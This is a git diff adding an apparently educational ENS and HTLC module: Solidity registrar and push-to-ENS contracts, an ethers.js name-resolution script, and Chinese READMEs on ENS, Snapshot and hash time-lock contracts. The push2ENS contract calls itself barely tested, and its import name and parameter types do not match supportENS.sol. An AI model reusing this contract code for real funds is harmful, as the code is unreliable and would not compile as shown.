+                ens.setSubnodeOwner(ADDR_REVERSE_NODE, label, address(this));
+                currentOwner = address(this);
+            }
+            ens.setResolver(node, resolver);
+        }
+
+        // Update the owner if required
+        if (currentOwner != owner) {
+            ens.setSubnodeOwner(ADDR_REVERSE_NODE, label, owner);
+        }
+
+        return node;
+    }
+
+    /**
+     * @dev Sets the `name()` record for the reverse ENS record associated with
+     * the calling account. First updates the resolver to the default reverse
+     * resolver if necessary.
+     * @param name The name to set for this address.
+     * @return The ENS node hash of the reverse record.
+     */
+    function setName(string memory name) public returns (bytes32) {
+        bytes32 node = claimWithResolver(address(this), address(defaultResolver));
+        defaultResolver.setName(node, name);
+        return node;
+    }
+
+    /**
+     * @dev Returns the node hash for a given account's reverse records.
+     * @param addr The address to hash
+     * @return The ENS node hash.
+     */
+    function node(address addr) public pure returns (bytes32) {
+        return keccak256(abi.encodePacked(ADDR_REVERSE_NODE, sha3HexAddress(addr)));
+    }
+
+    /**
+     * @dev An optimised function to compute the sha3 of the lower-case
+     *      hexadecimal representation of an Ethereum address.
+     * @param addr The address to hash
+     * @return ret The SHA3 hash of the lower-case hexadecimal encoding of the
+     *         input address.
+     */
+    function sha3HexAddress(address addr) private pure returns (bytes32 ret) {
+        addr;
+        ret; // Stop warning us about unused variables
+        assembly {
+            let lookup := 0x3031323334353637383961626364656600000000000000000000000000000000
+
+            for { let i := 40 } gt(i, 0) { } {
+                i := sub(i, 1)
+                mstore8(i, byte(and(addr, 0xf), lookup))
+                addr := div(addr, 0x10)
+                i := sub(i, 1)
+                mstore8(i, byte(and(addr, 0xf), lookup))
+                addr := div(addr, 0x10)
+            }
+
+            ret := keccak256(0, 40)
+        }
+    }
+}
diff --git a/basic/61-ENS/contracts/TestRegistrar.sol b/basic/61-ENS/contracts/TestRegistrar.sol
new file mode 100644
index 000000000..700455d56
--- /dev/null
+++ b/basic/61-ENS/contracts/TestRegistrar.sol
@@ -0,0 +1,37 @@
+pragma solidity ^0.7.0;
+
+import "./ENS.sol";
+
+/**
+ * A registrar that allocates subdomains to the first person to claim them, but
+ * expires registrations a fixed period after they're initially claimed.
+ */
+contract TestRegistrar {
+    uint constant registrationPeriod = 4 weeks;
+
+    ENS public ens;
+    bytes32 public rootNode;
+    mapping (bytes32 => uint) public expiryTimes;
+
+    /**
+     * Constructor.
+     * @param ensAddr The address of the ENS registry.
+     * @param node The node that this registrar administers.
+     */
+    constructor(ENS ensAddr, bytes32 node) public {
+        ens = ensAddr;
+        rootNode = node;
+    }
+
+    /**
+     * Register a name that's not currently registered
+     * @param label The hash of the label to register.
+     * @param owner The address of the new owner.
+     */
+    function register(bytes32 label, address owner) public {
+        require(expiryTimes[label] < block.timestamp);
+
+        expiryTimes[label] = block.timestamp + registrationPeriod;
+        ens.setSubnodeOwner(rootNode, label, owner);
+    }
+}
diff --git a/basic/61-ENS/contracts/push2ENS.sol b/basic/61-ENS/contracts/push2ENS.sol
new file mode 100644
index 000000000..d7f3476e2
--- /dev/null
+++ b/basic/61-ENS/contracts/push2ENS.sol
@@ -0,0 +1,303 @@
+// SPDX-License-Identifier: UNLICENSED
+
+//  ____  _  _  ____  _  _    ____    ____  __ _  ____
+// (  _ \/ )( \/ ___)/ )( \  (___ \  (  __)(  ( \/ ___)
+//  ) __/) \/ (\___ \) __ (   / __/   ) _) /    /\___ \
+// (__)  \____/(____/\_)(_/  (____)  (____)\_)__)(____/
+//
+// By Alex Van de Sande
+//
+// A little contract that adds push & pull money transfer to ENS ensAddresses.
+// Will work with any ENS, existing or future, including DNS names!
+// Ether, tokens and NFTs remain locked by contract until ENS is set up properly.
+// Once ENS points to a non-zero address, anyone can pull it there.
+//
+// Want to donate USDC to wikipedia.org but they don't have an eth address yet?
+// Want to send an NFT to xkcd.org but you're not sure how to trust the address?
+// Want to make an Ether bounty for the Ethiopian government to be aware of ENS?
+// Now you can do all that and more!
+// But wait, there's more! You can also use it to push to a normal address.
+// Just because.
+//
+// ATTENTION: use at your own risk! I've barely tested it. And by barely I mean I tried a couple different things
+// on rinkeby and once they worked I deployed to mainnet. NFTs don't use _safeTransfer
+// because I was too lazy to build my own onerc721Received. Be careful out there.
+
+pragma solidity ^0.8.0;
+/// @title Push to ENS
+/// @author Alex Van de Sande
+/// @notice Allows tokens and ether to be deposited to ENS names
+/// @dev Supports ether, erc20 tokens and erc721 NFTs.
+
+import "./supportsENS.sol";
+
+// works for both Tokens and NFTs
+abstract contract Transferable {
+    function transferFrom(address from, address to, uint tokens) virtual public;
+}
+
+contract PushToENS is SupportsENS {
+
+  /// @notice Internal balance function
+  /// @dev Balances are a hash based on token and account information
+  mapping(bytes32 => Balance) public balances;
+
+  struct Balance {
+      uint256 withdrawable;
+      uint256 lastBlockPulled;
+      mapping(address => uint256) pusher;
+      mapping(address => uint256) lastPushed;
+  }
+
+  event Pushed(bytes32 nameHash, address assetAddress, uint8 sendType, uint256 amount);
+  event Pulled(bytes32 nameHash, address assetAddress, uint8 sendType, uint256 amount);
+  event Cancel(bytes32 nameHash, address assetAddress, uint8 sendType, uint256 amount);
+
+  // PUSH FUNCTIONS
+
+   /**
+    * @dev Generic internal push functions
+    */
+  function _push (bytes32 hash, uint256 amount, address assetAddress, uint8 sendType) internal {
+    Balance storage balance = balances[hash];
+
+    // If there was a pull since you last pushed, then you can't withdraw that amount anymore
+    if (balance.lastPushed[msg.sender] < balance.lastBlockPulled) balance.pusher[msg.sender]=0;
+
+    // Weird things can happen in the same block
+    require(balance.lastPushed[msg.sender] != balance.lastBlockPulled || balance.lastBlockPulled == 0, "You can't push the same block on a pull");
+
+    // Prevent Overflows
+    require(balance.pusher[msg.sender] + amount > balance.pusher[msg.sender] , "Overflow detected!");
+    require(balance.withdrawable + amount > balance.withdrawable , "Overflow detected!");
+
+    // Increase the balances
+    balance.withdrawable  += amount;
+    balance.pusher[msg.sender]+= amount;
+    balance.lastPushed[msg.sender] = block.number;
+
+    // tell everyone about it
+    emit Pushed(hash, assetAddress, sendType, amount);
+  }
+
+   /**
+    * @notice Pushes ether sent in transaction for an ENS name represented by `nameHash`
+    * @param nameHash a 256-bit hash that represents an ENS name. See: https://docs.ens.domains/contract-api-reference/name-processing
+    */
+  function pushEther2ENS (bytes32 nameHash) public payable {
+    _push(nameHash, msg.value, 0x0000000000000000000000000000000000000000, 0);
+  }
+
+   /**
+    * @notice Pushes ether sent in transaction for `ethAddress`
+    * @param ethAddress a standard ethereum compatible address
+    */
+  function pushEther2Ethadd (address ethAddress) public payable {
+    _push(keccak256(abi.encode(ethAddress)), msg.value, 0x0000000000000000000000000000000000000000, 1);
+  }
+
+   /**
+    * @notice Pushes `amount` standard units of the `assetAddress` token for an ENS address represented by `nameHash`.
+    * @notice If `nftId` is set, then it assumes it's a ERC721 NFT and sends the one with `nftId`.
+    * @dev If it's a token, leave nftId as 0. Can't send any NFT with id 0.
+    * @param nameHash a 256-bit hash that represents an ENS name. See: https://docs.ens.domains/contract-api-reference/name-processing
+    * @param assetAddress The address of either the token or NFT
+    * @param amount Token amount. If it's an NFT, leave 0.
+    * @param nftId the id of the NFT being sent. If it's a token, leave 0.
+    */
+  function pushAsset2ENS (bytes32 nameHash, address assetAddress, uint256 amount, uint256 nftId) public {
+     // instantiate token
+     Transferable asset = Transferable(assetAddress);
+     uint256 wat;
+
+     if (nftId==0) {
+        // If fungible, then add all balances
+        wat = amount;
+        _push(keccak256(abi.encode(nameHash,assetAddress)), amount, assetAddress, 2);
+     } else {
+       // If not, then use amount as the nft ID
+       wat = nftId;
+        _push(keccak256(abi.encode(nameHash,assetAddress,nftId)), nftId, assetAddress, 3);
+    }
+
+    // transfer assets. Doesn't add a require, assumes token will revert if fails
+    asset.transferFrom(msg.sender, address(this), wat);
+  }
+
+  // PULL FUNCTIONS
+
+   /**
+    * @dev Generic internal pull function
+    */
+  function _pull (bytes32 hash, address assetAddress, uint8 sendType) internal returns (uint256 amount){
+    Balance storage balance = balances[hash];
+
+    amount = balance.withdrawable;
+
+    //Pull full amount always
+    balance.withdrawable=0;
+    balance.lastBlockPulled = block.number;
+
+    // Interaction
+    emit Pulled(hash, assetAddress, sendType, amount );
+
+    return amount;
+  }
+
+   /**
+    * @notice Pulls ether for any valid ENS name.
+    * @dev Function can be called by anyone. Will revert if ENS name is not set, or set to 0x.
+    * @param nameHash a 256-bit hash that represents an ENS name. See: https://docs.ens.domains/contract-api-reference/name-processing
+    */
+  function pullEther2ENS (bytes32 nameHash) public {
+      // Zeroes out full balance
+      uint256 amount = _pull(nameHash, 0x0000000000000000000000000000000000000000, 0);
+
+      //Interaction
+      // getSafeENSAddress prevents returning empty address
+      sendValue(payable(getSafeENSAddress(nameHash)), amount);
+  }
+
+   /**
+    * @notice Pulls all ether pushed for your address.
+    * @dev Can only be called by the address receiving the token.
+    */
+  function pullEther2Ethadd () public {
+      // Zeroes out full balance
+      uint256 amount = _pull(keccak256(abi.encode(msg.sender)), 0x0000000000000000000000000000000000000000, 1);
+
+      //Interaction
+      sendValue(payable(msg.sender), amount);
+  }
+
+   /**
+    * @notice Pulls all of the balance from token `assetAddress` for the ENS address represented by `nameHash`.
+    * @notice If `nftId` is set, then it assumes it's a NFT and pulls the one with `nftId`.
+    * @dev Can be called by anyone. If it's a token, leave nftId as 0. Can only pull full amounts.
+    * @dev Function will revert if ENS is not set or set to 0x0.
+    * @param nameHash a 256-bit hash that represents an ENS name. See: https://docs.ens.domains/contract-api-reference/name-processing
+    * @param assetAddress The address of either the token or NFT
+    * @param nftId the id of the NFT being sent. If it's a token, leave 0.
+     */
+  function pullAsset2ENS (bytes32 nameHash, address assetAddress, uint nftId) public {
+       // instantiate token
+     Transferable asset = Transferable(assetAddress);
+    uint256 wat;
+    // If it's a token then use nftId as 0
+    if (nftId==0){
+      //if ID is 0 then it's a token
+      wat = _pull(keccak256(abi.encode(nameHash,assetAddress)), assetAddress, 2);
+    } else {
+      //if ID is set then it's an NFT
+      wat = nftId;
+      _pull(keccak256(abi.encode(nameHash, assetAddress, nftId)), assetAddress, 3);
+    }
+
+    // getSafeENSAddress prevents returning empty address
+      asset.transferFrom(address(this), getSafeENSAddress(nameHash), wat);
+  }
+
+    // CANCEL FUNCTIONS
+
+   /**
+    * @dev Generic internal cancel function
+    */
+  function _cancel (bytes32 hash, uint256 amount, address assetAddress, uint8 sendType) internal {
+     Balance storage balance = balances[hash];
+
+    // Can only cancel if there wasn't a push yet
+    require(balance.lastPushed[msg.sender] > balance.lastBlockPulled || balance.lastBlockPulled == 0, "Recipient already withdrew");
+
+    // Check if enough balance
+    require(amount <= balance.pusher[msg.sender] , "Not enough balance");
+    require(amount <= balance.withdrawable , "Not enough balance");
+
+    // Decrease both balances
+    balance.pusher[msg.sender]-= amount;
+    balance.withdrawable -= amount;
+
+    // Interaction
+    emit Cancel(hash, assetAddress, sendType, amount );
+  }
+
+  /**
+    * @dev Get back `amount/1000000000000000000` ether you had pushed to an ENS name but it hasn't pulled yet.
+    * @param nameHash a 256-bit hash that represents an ENS name. See: https://docs.ens.domains/contract-api-reference/name-processing
+    * @param amount Ether amount you want to get back.
+    */
+  function cancelEther2ENS (bytes32 nameHash, uint256 amount) public {
+      // Generic cancel function
+      _cancel(nameHash, amount, 0x0000000000000000000000000000000000000000, 0);
+
+      //Interaction
+      // getSafeENSAddress prevents returning empty address
+      sendValue(payable(msg.sender), amount);
+  }
+
+
+   /**
+    * @dev Get back `amount/1000000000000000000` ether you had pushed to an Eth address name but it hasn't pulled yet.
+    * @param ethAddress The address which you had pushed to.
+    * @param amount Ether amount you want to get back.
+    */
+  function cancelEther2Ethadd (address ethAddress, uint256 amount) public {
+      // Generic cancel function
+       _cancel(keccak256(abi.encode(ethAddress)), amount, 0x0000000000000000000000000000000000000000, 1);
+
+      //Interaction
+      sendValue(payable(msg.sender), amount);
+  }
+
+   /**
+    * @notice Get back tokens or NFT you had pushed to an ENS name but hasn't been claimed yet.
+    * @param nameHash a 256-bit hash that represents an ENS name. See: https://docs.ens.domains/contract-api-reference/name-processing
+    * @param assetAddress The address of either the token or NFT
+    * @param amount Amount you want to pull back
+    * @param nftId the id of the NFT being sent. If it's a token, leave 0.
+    */
+  function cancelAsset2ENS (bytes32 nameHash,  address assetAddress, uint256 amount, uint256 nftId) public {
+       // instantiate token
+     Transferable asset = Transferable(assetAddress);
+     uint256 wat;
+     //generic cancel
+     // getSafeENSAddress prevents returning empty address
+     if (nftId==0) {
+       // If it's a token then pull all of them
+       wat= amount;
+       _cancel(keccak256(abi.encode(nameHash,assetAddress)), amount, assetAddress, 2);
+     } else {
+       // if it's an NFT use amount as tokenId
+       wat=nftId;
+       _cancel(keccak256(abi.encode(nameHash, assetAddress, nftId)), nftId, assetAddress, 3);
+     }
+
+    // transfer tokens
+    asset.transferFrom(address(this), msg.sender, wat);
+
+  }
+
+
+     /**
+     * Open Zeppellin's Send Value
+     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
+     * `recipient`, forwarding all available gas and reverting on errors.
+     *
+     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
+     * of certain opcodes, possibly making contracts go over the 2300 gas limit
+     * imposed by `transfer`, making them unable to receive funds via
+     * `transfer`. {sendValue} removes this limitation.
+     *
+     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
+     *
+     * IMPORTANT: because control is transferred to `recipient`, care must be
+     * taken to not create reentrancy vulnerabilities. Consider using
+     * {ReentrancyGuard} or the
+     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
+     */
+    function sendValue(address payable recipient, uint256 amount) internal {
+        require(address(this).balance >= amount, "Address: insufficient balance");
+
+        (bool success, ) = recipient.call{value: amount}("");
+        require(success, "Address: unable to send value, recipient may have reverted");
+    }
+}
\ No newline at end of file
diff --git a/basic/61-ENS/contracts/supportENS.sol b/basic/61-ENS/contracts/supportENS.sol
new file mode 100644
index 000000000..2667d6337
--- /dev/null
+++ b/basic/61-ENS/contracts/supportENS.sol
@@ -0,0 +1,62 @@
+// This is a quick and small library for allowing any contract to
+// use ENS names like they would use a standard address.
+// So a DAO can have bob.eth as the member, instead of 0x123,
+// and therefore Bob can change that address to whatever they prefer
+// or give out a tip that can be only received by the rightful owner of example.com
+// even if example.com owner never heard about ethereum!
+//
+// To use it, just use a store the NameHash as a string and then call
+// updateAddress(NameHash) to save the latest ethereum address it points to
+// Once that has been saved, use ensAddresses(NameHash) to obtain a valid eth address.
+// Optionally, you can check lastUpdatedENSAt(NameHash) to check the last time
+// it was updated. If it was never updated then both functions should return 0:
+// IMPORTANT: check if address is not address(0) before sending ether.
+
+// Learn more about NameHash: https://docs.ens.domains/contract-api-reference/name-processing
+// Learn more about full DNS support in ENS: https://medium.com/the-ethereum-name-service/full-dns-namespace-integration-to-ens-now-on-mainnet-9d37270807d3
+// Learn more about ENS: ens.domains
+
+// Author: Alex Van de Sande
+// License: Public Domain
+
+pragma solidity ^0.8.0;
+
+abstract contract  ENS {
+    function resolver(string memory node) public virtual view  returns (Resolver);
+}
+
+abstract contract Resolver {
+    function addr(string memory node) public virtual view returns (address);
+}
+
+contract SupportsENS {
+    // Same address for Mainet, Ropsten, Rinkerby, Gorli and other networks;
+    ENS ens = ENS(0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e);
+
+    // Optional modifier to only allow calls from a specific ENS owner
+    modifier onlyENSOwner(string memory nameHash) {
+        require(
+            msg.sender == getENSAddress(nameHash),
+            "Only ENS owner can call this contract"
+            );
+            _;
+    }
+
+    // Main function to get an address
+    // ATTENTION: if an ENS is not set or claimed, it will return 0x0.
+    // Make sure to check this before sending ether.
+    function getENSAddress(string memory nameHash) public view returns (address){
+        Resolver resolver = ens.resolver(nameHash);
+        return resolver.addr(nameHash);
+    }
+
+    // Similar to the function above but will
+    // revert if the address returns 0x00..
+    function getSafeENSAddress(string memory nameHash) public view returns (address){
+        Resolver resolver = ens.resolver(nameHash);
+        address res = resolver.addr(nameHash);
+        require(res != address(0), "address not set or set to burn");
+        return res;
+    }
+
+}
\ No newline at end of file
diff --git a/basic/61-ENS/package.json b/basic/61-ENS/package.json
new file mode 100644
index 000000000..d30dbb679
--- /dev/null
+++ b/basic/61-ENS/package.json
@@ -0,0 +1,12 @@
+{
+  "name": "61-ENS",
+  "version": "1.0.0",
+  "main": "index.js",
+  "license": "MIT",
+  "scripts": {
+    "test-ethers": "node src/ethers-ens/index.js"
+  },
+  "devDependencies": {
+    "ethers": "^5.5.2"
+  }
+}
\ No newline at end of file
diff --git a/basic/61-ENS/readme.md b/basic/61-ENS/readme.md
new file mode 100644
index 000000000..c2c44100c
--- /dev/null
+++ b/basic/61-ENS/readme.md
@@ -0,0 +1,62 @@
+## ENS
+
+### 简介
+
+ENS（Ethereum Name Service）是以太坊域名服务，是一个基于以太坊区块链的分布式、开放和可扩展的命名系统。
+
+ENS的工作是将可读的域名（比如"alice.eth"）解析为计算机可以识别的标识符，如以太坊地址、内容的散列、元数据等。ENS还支持"反向解析"，这使得将元数据(如规范化域名或接口描述)与以太坊地址相关联成为可能
+
+### ENS tools
+
+- supportENS.sol
+- push2ENS.sol
+
+Refer to https://github.com/alexvansande/ENSTools
+
+### 使用流程
+
+ENS JavaScript 库：
+
+- [ethereum-ens](https://www.npmjs.com/package/ethereum-ens)，由ENS开发者维护
+- [ethjs-ens](https://www.npmjs.com/package/ethjs-ens)
+- [ethers.js](https://github.com/ethers-io/ethers.js) （[ethers.js中文文档](https://learnblockchain.cn/docs/ethers.js/))
+- [web3.js](https://web3js.readthedocs.io/en/1.0/web3-eth-ens.html)：不支持反向解析
+
+### 原理
+
+#### ENS架构
+
+ENS主要有两个组件：
+
+- 注册表：是一个智能[合约](https://github.com/ensdomains/ens/blob/master/contracts/ENS.sol)，该合约维护所有域名和子域名列表
+- 解析器：是一个智能合约，负责将 ENS 域名转换为地址或其他类型的哈希和文本数据，合约内保存着这些解析记录
+
+注册表负责将域名映射到负责解析这个域名的解析器
+
+解析器负责将域名转换为地址
+
+#### 解析过程
+
+1. 对将要解析的域名进行规范化和哈希
+   - 规范化：对域名进行规范化和有效性检查（比如将fOO.eth 规范为 foo.eth）并屏蔽包含下划线等禁止字符的域名
+   - 哈希：Namehash 是一个递归过程，可以为任何有效的域名生成唯一的哈希
+2. 在 ENS 注册表上调用 `resolver()` ，并将第 1 步输出的哈希作为参数传递，然后 `resolver()` 会返回负责解析这个域名的解析器的地址。
+   - ENS 注册表是 ENS 系统中的核心合约，所有的 ENS 查询都从注册表开始。注册表负责管理域名列表，记录每个域名的所有者、解析器和 TTL ，并允许域名的所有者对这些数据进行更改
+3. 使用 [resolver 接口](https://github.com/ensdomains/resolvers/blob/master/contracts/Resolver.sol) ，在第 2 步返回的解析器地址上调用 `addr()` ，并将第1步输出的哈希作为参数传递。
+
+## 测试步骤  
+- 安装依赖  
+```
+yarn
+```
+
+- 执行测试脚本  
+```
+node src/ethers-ens/index.js
+```
+
+## 参考链接
+
+- ens 介绍： <https://ethfans.org/posts/new-decaying-price-premium-for-newly-released-names>
+- ens 续订： <https://ethfans.org/posts/the-great-renewal-its-time-to-renew-your-eth-names-or-else-lose-them>
+- reclaim: <https://medium.com/the-ethereum-name-service/how-to-get-back-an-old-deposit-1e2b1767b930>
diff --git a/basic/61-ENS/snapshot.md b/basic/61-ENS/snapshot.md
new file mode 100644
index 000000000..efb75be26
--- /dev/null
+++ b/basic/61-ENS/snapshot.md
@@ -0,0 +1,54 @@
+## SNAPSHOT
+
+- Snapshot is a off-chain, gasless, multi-governance community polling dashboard.
+- Decentralized society, we need make decisions also, so you can try snapshot.
+- Gasless
+- Offchain
+- Multi joined
+- When I test the https://snapshot.org/ website...meet 502 error...
+
+## 概述
+
+- Snapshot 是一个为 ERC20 代币提供社区提案投票的聚合治理平台，由 Balancer 团队开发在今年 8 月推出。
+- 作为一个 off-chain 的治理工具，用户使用 Snapshot 进行签名投票和社区提案而无需要消耗 GAS 费。
+- 不同于 Aragon 的从创建到治理全覆盖，Snapshot 目前仅提供提案和投票这两项功能，它更倾向于是一个治理投票的平台型工具，而不是一个提供搭建、治理投票、质押、链上法庭等复杂功能的平台。
+- 用户绑定钱包中的**相应代币数量决定投票权重**，根据以太坊区块快照，提案和投票是存储在 IPFS 上的签名消息。
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/40-snapshot/snapshot.png?raw=true" /></center>
+
+## 创建空间并发起提案
+Snapshot中的空间也就是各个项目进行提案的场所，下面对创建空间以及发起提案的流程进行简单介绍。(更详细的信息请看[官方文档](https://docs.snapshot.org/))
+1. 注册一个ENS域名  
+Snapshot虽然是一个链下治理平台，但必须拥有ENS域名才能创建空间。
+
+2. 将ENS域名链接到Snapshot  
+首先点击创建空间，然后输入你的域名得到ipfs的记录地址，最后在ENS中添加该记录。
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/40-snapshot/create_a_space.png?raw=true" /></center>
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/40-snapshot/get_record.png?raw=true" /></center>
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/40-snapshot/add_record.png?raw=true" /></center>
+
+3. 设置你的空间  
+添加ENS记录是一个链上操作过程，等待交易确认后才可以进行Snapshot空间的设置。  
+下面是进行Snapshot空间设置的页面，包括Profile填写项目基本信息，Strategie选择投票策略等等设置选项，此外还可以通过添加Plugins为提案增加新特性。最后记得点击保存来提交修改。
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/40-snapshot/setting_page1.png?raw=true" /></center>
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/40-snapshot/setting_page2.png?raw=true" /></center>
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/40-snapshot/setting_page3.png?raw=true" /></center>
+
+4. 发起提案  
+以刚刚创建的空间为例，首先搜索到该空间，然后点击加入，如果满足该空间设置的要求就可以发起提案了。发起一个提案主要就是填写提案内容、设置选项、设置起始和结束日期。
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/40-snapshot/search.png?raw=true" /></center>
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/40-snapshot/space.png?raw=true" /></center>
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/40-snapshot/new_proposal.png?raw=true" /></center>
+
+## 其他
+
+- Snapshot 并不反对其他项目复制代码、另起炉灶。Curve 就 fork 了 Snapshot 的代码新建了一个专有的治理网站（https://signal.curve.fi/#/curve）。
+- 因此国内如果不熟悉英语和习惯的，可以魔改，我准备空了魔改一个，不依赖于代币数量，依赖其他更合理，更避免资本掌控社区的一些机制。
+
+## 参考链接
+
+- [官方文档](https://docs.snapshot.org/)
+- https://www.chainnews.com/articles/389308842491.htm
+- https://www.theblockbeats.com/news/19570
+- [Twitter](https://twitter.com/SnapshotLabs)
+- [Discord](https://discord.com/invite/yHrYMzyyY9)
+- https://commonwealth.im/uniswap/proposals
diff --git a/basic/61-ENS/src/ethers-ens/index.js b/basic/61-ENS/src/ethers-ens/index.js
new file mode 100644
index 000000000..22c8403cb
--- /dev/null
+++ b/basic/61-ENS/src/ethers-ens/index.js
@@ -0,0 +1,20 @@
+var ethers = require('ethers');
+
+var provider = ethers.getDefaultProvider('ropsten');
+
+const ensName = 'registrar.firefly.eth';
+const address = '0x6fC21092DA55B392b045eD78F4732bff3C580e2c';
+
+(async () => {
+    // 解析至以太坊地址
+    const ethAddress = await provider.resolveName(ensName);
+    console.log(`${ensName}对应的以太坊地址: ${ethAddress}`);
+
+    // 反向解析
+    const name = await provider.lookupAddress(address);
+    console.log(`${address}对应的ens名称: ${name}`);
+
+    // ethers支持在任何需要使用地址的地方也可以使用ENS域名，一般不需要直接调用resolveName
+    const balance = await provider.getBalance(ensName);
+    console.log('balance: ', ethers.utils.formatEther(balance));
+})()
\ No newline at end of file
diff --git a/basic/63-htlc-crosschain/.env.example b/basic/63-htlc-crosschain/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/basic/63-htlc-crosschain/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/basic/63-htlc-crosschain/.gitignore b/basic/63-htlc-crosschain/.gitignore
new file mode 100644
index 000000000..36077f288
--- /dev/null
+++ b/basic/63-htlc-crosschain/.gitignore
@@ -0,0 +1,9 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+
+#Hardhat files
+cache
+artifacts
diff --git a/basic/63-htlc-crosschain/Cross-L2 Bridge Dapp-Learning 2022(1).pdf b/basic/63-htlc-crosschain/Cross-L2 Bridge Dapp-Learning 2022(1).pdf
new file mode 100644
index 000000000..9d155593b
Binary files /dev/null and b/basic/63-htlc-crosschain/Cross-L2 Bridge Dapp-Learning 2022(1).pdf differ
diff --git a/basic/63-htlc-crosschain/README.md b/basic/63-htlc-crosschain/README.md
new file mode 100644
index 000000000..e6b0f985a
--- /dev/null
+++ b/basic/63-htlc-crosschain/README.md
@@ -0,0 +1,159 @@
+## HTLC 介绍
+
+哈希锁定, 全称为哈希时间锁定合约, 英文为 HTLC（Hash TimeLock Contract）, 是解决跨链的一种技术方案. 指在智能合约的基础上, 让双方先锁定资产, 如果都在规定的时间内输入正确哈希值的原值, 即可完成交易.  
+哈希锁定的实现的两个条件, 一个是哈希锁, 一个是时间锁, 必须同时满足这两个条件, 才能完成交易, 如果不能满足条件, 代币会自动返回, 不收手续费.
+
+## 原理介绍
+
+小白生成随机数, 并发送 Hash 给小黑, 同时小白在它链 A 上锁定币, 设定交易的时间, 小黑收到 Hash 后, 在它链 B 上锁定币, 也设置时间限制.
+小白看到小黑的锁定后, 在规定时间内, 发送包含之前的随机数的认领协议给小黑, 小黑收到后在规定时间内给出哈希值后, 锁定的数字货币立即释放, 完成交易.
+
+## 哈希锁定有什么优缺点
+
+哈希锁定的优点: 实现了跨链资产的交换, 可以不用公证人.
+哈希锁定的缺点: 没有实现跨链资产的转移, 更不能实现跨链合约的执行.
+
+## 合约主要功能解析
+
+### HashedTimelock
+
+- newContract  
+  开启一个 Hash 时间锁, 同时存入 ETH, 付款人各自在不同的链上调用, \_receiver 需要传入收款人的地址.
+
+```solidity
+    /**
+     * @dev Sender sets up a new hash time lock contract depositing the ETH and
+     * providing the reciever lock terms.
+     *
+     * @param _receiver Receiver of the ETH.
+     * @param _hashlock A sha-2 sha256 hash hashlock.
+     * @param _timelock UNIX epoch seconds time that the lock expires at.
+     *                  Refunds can be made after this time.
+     * @return contractId Id of the new HTLC. This is needed for subsequent
+     *                    calls.
+     */
+function newContract(address payable _receiver, bytes32 _hashlock, uint _timelock)
+        external
+        payable
+        fundsSent
+        futureTimelock(_timelock)
+        returns (bytes32 contractId)
+    {
+        contractId = sha256(
+            abi.encodePacked(
+                msg.sender,
+                _receiver,
+                msg.value,
+                _hashlock,
+                _timelock
+            )
+        );
+
+        // Reject if a contract already exists with the same parameters. The
+        // sender must change one of these parameters to create a new distinct
+        // contract.
+        if (haveContract(contractId))
+            revert("Contract already exists");
+
+        contracts[contractId] = LockContract(
+            msg.sender,
+            _receiver,
+            msg.value,
+            _hashlock,
+            _timelock,
+            false,
+            false,
+            0x0
+        );
+
+        emit LogHTLCNew(
+            contractId,
+            msg.sender,
+            _receiver,
+            msg.value,
+            _hashlock,
+            _timelock
+        );
+    }
+```
+
+- withdraw  
+  收款人调用. 传入 contractID 和 Hash 对应的原始值后面, 收款人就可以收到对应的款项.
+
+```solidity
+    /**
+     * @dev Called by the receiver once they know the preimage of the hashlock.
+     * This will transfer the locked funds to their address.
+     *
+     * @param _contractId Id of the HTLC.
+     * @param _preimage sha256(_preimage) should equal the contract hashlock.
+     * @return bool true on success
+     */
+function withdraw(bytes32 _contractId, bytes32 _preimage)
+        external
+        contractExists(_contractId)
+        hashlockMatches(_contractId, _preimage)
+        withdrawable(_contractId)
+        returns (bool)
+    {
+        LockContract storage c = contracts[_contractId];
+        c.preimage = _preimage;
+        c.withdrawn = true;
+        c.receiver.transfer(c.amount);
+        emit LogHTLCWithdraw(_contractId);
+        return true;
+    }
+```
+
+- refund  
+  付款人调用. 当收款人在规定的时间内没有调用 withdraw 提取款项时, 收款人可以调用这个 refund 方法把款项取回.
+
+```solidity
+    /**
+     * @dev Called by the sender if there was no withdraw AND the time lock has
+     * expired. This will refund the contract amount.
+     *
+     * @param _contractId Id of HTLC to refund from.
+     * @return bool true on success
+     */
+    function refund(bytes32 _contractId)
+        external
+        contractExists(_contractId)
+        refundable(_contractId)
+        returns (bool)
+    {
+        LockContract storage c = contracts[_contractId];
+        c.refunded = true;
+        c.sender.transfer(c.amount);
+        emit LogHTLCRefund(_contractId);
+        return true;
+    }
+```
+
+### HashedTimelockERC20 和 HashedTimelockERC721
+
+这两个合约功能和 HashedTimelock 功能相同, 区别在于 HashedTimelock 存入的是 ETH, HashedTimelockERC20 和 HashedTimelockERC721 存入是 ERC20 和 ERC721, 同时在存入前需要预先授权 approve 给 HashedTimelockERC20 和 HashedTimelockERC721 合约.
+
+## 测试步骤
+
+- 安装依赖
+
+```bash
+yarn
+```
+
+- 测试 HashedTimelock
+
+```bash
+npx hardhat test/HashedTimelock.js
+```
+
+## 参考文档
+
